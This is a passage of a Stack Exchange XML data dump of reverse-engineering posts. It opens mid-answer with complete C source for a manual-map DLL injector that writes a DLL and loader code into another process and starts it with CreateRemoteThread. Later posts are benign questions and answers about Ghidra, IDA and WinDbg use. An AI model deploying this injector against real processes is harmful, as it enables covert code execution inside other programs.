sizeof(IMAGE_BASE_RELOCATION))&#xA;        {&#xA;            count = (pIBR-&amp;gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);&#xA;            list = (PWORD)(pIBR + 1);&#xA;&#xA;            for (i = 0; i &amp;lt; count; i++)&#xA;            {&#xA;                if (list[i])&#xA;                {&#xA;                    ptr = (PDWORD)((LPBYTE)ManualInject-&amp;gt;ImageBase + (pIBR-&amp;gt;VirtualAddress + (list[i] &amp;amp; 0xFFF)));&#xA;                    *ptr += delta;&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR-&amp;gt;SizeOfBlock);&#xA;    }&#xA;&#xA;    pIID = ManualInject-&amp;gt;ImportDirectory;&#xA;&#xA;    // Resolve DLL imports&#xA;&#xA;    while (pIID-&amp;gt;Characteristics)&#xA;    {&#xA;        OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)ManualInject-&amp;gt;ImageBase + pIID-&amp;gt;OriginalFirstThunk);&#xA;        FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)ManualInject-&amp;gt;ImageBase + pIID-&amp;gt;FirstThunk);&#xA;&#xA;        hModule = ManualInject-&amp;gt;fnLoadLibraryA((LPCSTR)ManualInject-&amp;gt;ImageBase + pIID-&amp;gt;Name);&#xA;&#xA;        if (!hModule)&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        while (OrigFirstThunk-&amp;gt;u1.AddressOfData)&#xA;        {&#xA;            if (OrigFirstThunk-&amp;gt;u1.Ordinal &amp;amp; IMAGE_ORDINAL_FLAG)&#xA;            {&#xA;                // Import by ordinal&#xA;&#xA;                Function = (INT64)ManualInject-&amp;gt;fnGetProcAddress(hModule, (LPCSTR)(OrigFirstThunk-&amp;gt;u1.Ordinal &amp;amp; 0xFFFF));&#xA;&#xA;                if (!Function)&#xA;                {&#xA;                    return FALSE;&#xA;                }&#xA;&#xA;                FirstThunk-&amp;gt;u1.Function = Function;&#xA;            }&#xA;&#xA;            else&#xA;            {&#xA;                // Import by name&#xA;&#xA;                pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)ManualInject-&amp;gt;ImageBase + OrigFirstThunk-&amp;gt;u1.AddressOfData);&#xA;                Function = (INT64)ManualInject-&amp;gt;fnGetProcAddress(hModule, (LPCSTR)pIBN-&amp;gt;Name);&#xA;&#xA;                if (!Function)&#xA;                {&#xA;                    return FALSE;&#xA;                }&#xA;&#xA;                FirstThunk-&amp;gt;u1.Function = Function;&#xA;            }&#xA;&#xA;            OrigFirstThunk++;&#xA;            FirstThunk++;&#xA;        }&#xA;&#xA;        pIID++;&#xA;    }&#xA;&#xA;    if (ManualInject-&amp;gt;NtHeaders-&amp;gt;OptionalHeader.AddressOfEntryPoint)&#xA;    {&#xA;        EntryPoint = (PDLL_MAIN)((LPBYTE)ManualInject-&amp;gt;ImageBase + ManualInject-&amp;gt;NtHeaders-&amp;gt;OptionalHeader.AddressOfEntryPoint);&#xA;        EntryPointNew = (VOID(*)(VOID))((INT64)ManualInject-&amp;gt;ImageBase + 0x2350);&#xA;        __debugbreak();&#xA;        //return EntryPoint((HMODULE)ManualInject-&amp;gt;ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point&#xA;        EntryPointNew();&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&#xA;DWORD WINAPI LoadDllEnd()&#xA;{&#xA;    return 0;&#xA;}&#xA;&#xA;int wmain(int argc, wchar_t* argv[])&#xA;{&#xA;    PIMAGE_DOS_HEADER pIDH;&#xA;    PIMAGE_NT_HEADERS pINH;&#xA;    PIMAGE_SECTION_HEADER pISH;&#xA;&#xA;    HANDLE hProcess, hThread, hFile;&#xA;    PVOID buffer, image, mem;&#xA;    DWORD i, FileSize, ProcessId, ExitCode, read;&#xA;&#xA;    MANUAL_INJECT ManualInject;&#xA;&#xA;    if (argc &amp;lt; 3)&#xA;    {&#xA;        printf(&amp;quot;\nUsage: ManualInject [DLL name] [PID]\n&amp;quot;);&#xA;        return -1;&#xA;    }&#xA;&#xA;    printf(&amp;quot;\nOpening the DLL.\n&amp;quot;);&#xA;    hFile = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); // Open the DLL&#xA;&#xA;    if (hFile == INVALID_HANDLE_VALUE)&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to open the DLL (%d)\n&amp;quot;, GetLastError());&#xA;        return -1;&#xA;    }&#xA;&#xA;    FileSize = GetFileSize(hFile, NULL);&#xA;    buffer = VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);&#xA;&#xA;    if (!buffer)&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to allocate memory for DLL data (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        CloseHandle(hFile);&#xA;        return -1;&#xA;    }&#xA;&#xA;    // Read the DLL&#xA;&#xA;    if (!ReadFile(hFile, buffer, FileSize, &amp;amp;read, NULL))&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to read the DLL (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        CloseHandle(hFile);&#xA;&#xA;        return -1;&#xA;    }&#xA;&#xA;    CloseHandle(hFile);&#xA;&#xA;    pIDH = (PIMAGE_DOS_HEADER)buffer;&#xA;&#xA;    if (pIDH-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE)&#xA;    {&#xA;        printf(&amp;quot;\nError: Invalid executable image.\n&amp;quot;);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    pINH = (PIMAGE_NT_HEADERS)((LPBYTE)buffer + pIDH-&amp;gt;e_lfanew);&#xA;&#xA;    if (pINH-&amp;gt;Signature != IMAGE_NT_SIGNATURE)&#xA;    {&#xA;        printf(&amp;quot;\nError: Invalid PE header.\n&amp;quot;);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    if (!(pINH-&amp;gt;FileHeader.Characteristics &amp;amp; IMAGE_FILE_DLL))&#xA;    {&#xA;        printf(&amp;quot;\nError: The image is not DLL.\n&amp;quot;);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    ProcessId = wcstoul(argv[2], NULL, 0);&#xA;&#xA;    printf(&amp;quot;\nOpening target process.\n&amp;quot;);&#xA;    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);&#xA;&#xA;    if (!hProcess)&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to open target process (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        CloseHandle(hProcess);&#xA;&#xA;        return -1;&#xA;    }&#xA;&#xA;    printf(&amp;quot;\nAllocating memory for the DLL.\n&amp;quot;);&#xA;    image = VirtualAllocEx(hProcess, NULL, pINH-&amp;gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the DLL&#xA;&#xA;    if (!image)&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to allocate memory for the DLL (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        CloseHandle(hProcess);&#xA;&#xA;        return -1;&#xA;    }&#xA;&#xA;    printf(&amp;quot;[*]Remote Dll Base %llx\n&amp;quot;, image);&#xA;&#xA;    // Copy the header to target process&#xA;&#xA;    printf(&amp;quot;\nCopying headers into target process.\n&amp;quot;);&#xA;&#xA;    if (!WriteProcessMemory(hProcess, image, buffer, pINH-&amp;gt;OptionalHeader.SizeOfHeaders, NULL))&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to copy headers to target process (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        VirtualFreeEx(hProcess, image, 0, MEM_RELEASE);&#xA;        CloseHandle(hProcess);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    pISH = (PIMAGE_SECTION_HEADER)(pINH + 1);&#xA;&#xA;    // Copy the DLL to target process&#xA;&#xA;    printf(&amp;quot;\nCopying sections to target process.\n&amp;quot;);&#xA;&#xA;    for (i = 0; i &amp;lt; pINH-&amp;gt;FileHeader.NumberOfSections; i++)&#xA;    {&#xA;        WriteProcessMemory(hProcess, (PVOID)((LPBYTE)image + pISH[i].VirtualAddress), (PVOID)((LPBYTE)buffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData, NULL);&#xA;    }&#xA;&#xA;    printf(&amp;quot;\nAllocating memory for the loader code.\n&amp;quot;);&#xA;    mem = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the loader code&#xA;&#xA;    if (!mem)&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to allocate memory for the loader code (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        VirtualFreeEx(hProcess, image, 0, MEM_RELEASE);&#xA;        CloseHandle(hProcess);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    memset(&amp;amp;ManualInject, 0, sizeof(MANUAL_INJECT));&#xA;&#xA;    ManualInject.ImageBase = image;&#xA;    ManualInject.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)image + pIDH-&amp;gt;e_lfanew);&#xA;    ManualInject.BaseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)image + pINH-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);&#xA;    ManualInject.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)image + pINH-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);&#xA;    ManualInject.fnLoadLibraryA = LoadLibraryA;&#xA;    ManualInject.fnGetProcAddress = GetProcAddress;&#xA;&#xA;    printf(&amp;quot;\nWriting loader code to target process.\n&amp;quot;);&#xA;    PVOID RemoteLoaderAddr = (PVOID)((PMANUAL_INJECT)mem + 1);&#xA;&#xA;    WriteProcessMemory(hProcess, mem, &amp;amp;ManualInject, sizeof(MANUAL_INJECT), NULL); // Write the loader information to target process&#xA;    WriteProcessMemory(hProcess, RemoteLoaderAddr, LoadDll, (DWORD)LoadDllEnd - (DWORD)LoadDll, NULL); // Write the loader code to target process&#xA;&#xA;    printf(&amp;quot;[*]Remote Loader %llx\n&amp;quot;, RemoteLoaderAddr);&#xA;    system(&amp;quot;pause&amp;quot;);&#xA;    printf(&amp;quot;\nExecuting loader code.\n&amp;quot;);&#xA;    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteLoaderAddr, mem, 0, NULL); // Create a remote thread to execute the loader code&#xA;&#xA;    if (!hThread)&#xA;    {&#xA;        printf(&amp;quot;\nError: Unable to execute loader code (%d)\n&amp;quot;, GetLastError());&#xA;&#xA;        VirtualFreeEx(hProcess, mem, 0, MEM_RELEASE);&#xA;        VirtualFreeEx(hProcess, image, 0, MEM_RELEASE);&#xA;&#xA;        CloseHandle(hProcess);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    WaitForSingleObject(hThread, INFINITE);&#xA;    GetExitCodeThread(hThread, &amp;amp;ExitCode);&#xA;&#xA;    if (!ExitCode)&#xA;    {&#xA;        VirtualFreeEx(hProcess, mem, 0, MEM_RELEASE);&#xA;        VirtualFreeEx(hProcess, image, 0, MEM_RELEASE);&#xA;&#xA;        CloseHandle(hThread);&#xA;        CloseHandle(hProcess);&#xA;&#xA;        VirtualFree(buffer, 0, MEM_RELEASE);&#xA;        return -1;&#xA;    }&#xA;&#xA;    CloseHandle(hThread);&#xA;    VirtualFreeEx(hProcess, mem, 0, MEM_RELEASE);&#xA;&#xA;    CloseHandle(hProcess);&#xA;&#xA;    printf(&amp;quot;\nDLL injected at %#x\n&amp;quot;, image);&#xA;&#xA;    if (pINH-&amp;gt;OptionalHeader.AddressOfEntryPoint)&#xA;    {&#xA;        printf(&amp;quot;\nDLL entry point: %#x\n&amp;quot;, (PVOID)((LPBYTE)image + pINH-&amp;gt;OptionalHeader.AddressOfEntryPoint));&#xA;    }&#xA;&#xA;    VirtualFree(buffer, 0, MEM_RELEASE);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35069" LastActivityDate="2021-01-06T14:41:40.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26718" PostTypeId="2" ParentId="25910" CreationDate="2021-01-06T14:55:32.550" Score="1" Body="&lt;p&gt;You can click on the top part of the desired window (which is blue in color when selected, and which has the title of the window written in it). You can then hold and drag it out of the screen.&lt;/p&gt;&#xA;&lt;p&gt;At this point, it may appear weird that only this title bar is moving with your mouse, but try releasing the mouse button while this title bar is someone outside the ghidra screen, e.g., on another monitor even. You'll find that the window pops out and you can resize it, etc., as you please.&lt;/p&gt;&#xA;&lt;p&gt;If on the other hand, you release it somewhere else within the ghidra screen, that repositions the window, possibly opening another tab to share the space with existing window(s) in that location.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2021-01-06T14:55:32.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26719" PostTypeId="2" ParentId="3969" CreationDate="2021-01-06T15:20:27.243" Score="1" Body="&lt;p&gt;There's now (from 2020) a plugin for IDA Pro that helps in working with obfuscated binaries. It is called &lt;a href=&quot;https://eshard.com/posts/d810_blog_post_1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;D810: Creating an extensible deobfuscation plugin for IDA Pro&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2021-01-06T15:20:27.243" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26720" PostTypeId="2" ParentId="26715" CreationDate="2021-01-06T15:40:08.900" Score="4" Body="&lt;p&gt;It works As Expected and Documented&lt;br /&gt;&#xA;Running a plain .thread resets context to CurrentThread as documented&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Quote From Documentation  &#xA;&#xA;Thread &#xA;The address of the thread. If this is omitted or zero,   &#xA;the thread context is reset to the current thread.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You Cannot Set @rip to Arbitrary Values&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2021-01-06T15:40:08.900" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26722" PostTypeId="2" ParentId="26695" CreationDate="2021-01-06T20:33:31.393" Score="1" Body="&lt;p&gt;“Reload input file” only refreshes the byte values, it does not  reanalyze the file. So if, for example, you added some functions and the code moved, it may interfere with the existing analysis.&lt;/p&gt;&#xA;&lt;p&gt;If you don’t actually need to analyze the binary but just debug it, you can used IDA in so called “instant debugging” mode. Open IDA without loading anything, then use the Debug-Run menu to run your compiled program. IDA will start the process and only do minimal analysis necessary to show the currently executing code. After stopping the debugger this execution-only analysis will be discarded and on next run the updated binary (if it changed) from disk will be used again.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2021-01-06T20:33:31.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26723" PostTypeId="1" CreationDate="2021-01-06T23:06:04.633" Score="1" ViewCount="103" Body="&lt;p&gt;Last year I posted for help in order to reverse-engineer and translate a Korean exclusive Horror game for the Playstation 2 called Mystic Nights. Here is the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21346/translating-a-korean-exclusive-ps2-game-hangeul-encoding?r=SearchResults&quot;&gt;Original Post.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks to the kind folks here as well as a lot of trial and error, I finally finished the translation 6 or so months ago.&lt;/p&gt;&#xA;&lt;p&gt;The game has an online mode to play with Friends [Network Mode] but Sony's korean servers for this game have been down for several years. Is there a way to ge this mode working again with hamachi or something? Any help would be greatly appreciated. There is no footage online about this game's multiplayer mode so this is very interesting.&lt;/p&gt;&#xA;" OwnerUserId="28483" LastActivityDate="2021-01-06T23:06:04.633" Title="Restoring online functionality of an obsucure Korean PS2 horror game" Tags="|networking|game-hacking|hexadecimal|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26724" PostTypeId="1" CreationDate="2021-01-07T16:05:29.650" Score="3" ViewCount="1220" Body="&lt;p&gt;I am using Ghidra to do reverse engineering of an ARM binary. I want to print the disassembly of all blocks across all functions containing a specific instruction like 'CALL' or 'RET'. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="35445" LastActivityDate="2021-01-08T04:21:26.607" Title="How do I get the all the basic binary blocks containing a special instruction like 'CALL' or 'RET' using python in Ghidra?" Tags="|ghidra|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26725" PostTypeId="1" CreationDate="2021-01-07T17:17:23.583" Score="3" ViewCount="62" Body="&lt;p&gt;I am using the following IDC script in IDA:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static main()&#x